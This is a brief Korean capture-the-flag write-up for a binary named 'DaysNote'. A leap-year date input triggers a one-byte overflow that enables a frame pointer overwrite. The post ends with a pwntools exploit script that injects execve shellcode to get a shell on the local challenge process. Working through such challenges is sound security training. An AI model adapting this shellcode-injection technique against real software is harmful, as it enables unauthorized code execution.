어려운 문제는 아닌데,
나에게 악몽같은 문제다.
한번 풀어보자
checksec을 통해서
해당 바이너리의 보호기법이 Partial RELRO를 제외하고는 없는 것을 알 수가 있다.
NX가 꺼져있어서 이를 이용할 생각을 하고 문제를 풀었다.

.
.
.
해당 바이너리를 실행을 해보니 년도를 받고, 데이터(?)를 받는 것을 알 수가 있다.
그러면 바이너리를 분석을해보자
IDA를 통해서 해당 바이너리의 main 함수를 확인해봤다.
딱히 문제가 되는 것 처럼 보이는 곳은 없었다.

CallWriteNote로 이동을 하니 WriteNote로 한번 더 이동하는 것을 알 수가 있다.
한번 더 이동을 해보자.


WriteNote함수를 확인을 해보니,
strncpy를 이용을 하는 것으로 보인다.
이 외에는 다른 기능을 하는 것은 없어보인다..
솔직히 처음 이 문제를 풀때
윤년이라는 것을 생각을 못했다.
난 개병신인거 같다.
윤년만 알아도 그냥 쉽게 풀리는 문제다.
윤년은 1년이 365 -> 366이 되는 날인데,
4년주기로 온다고 한다...
이를 통해서 1byte가 overflow되서 FPO가 가능하게 된다.
FPO를 통해서 shllcode를 실행시켜도 되고, rop를 사용해도 될 것 같다.
#!/usr/bin/python
from pwn import *
p = process('./DaysNote')
e = ELF('./DaysNote')
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(': ')
p.sendline('2016') #Leaf Year #One-byte BOF
shellcode = "\x31\xc0\x31\xd2\xb0\x0f\x2c\x04\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"
payload = shellcode
payload += "A"*(365-len(shellcode))
payload += "\x40"
p.sendlineafter(": ",payload)
p.interactive()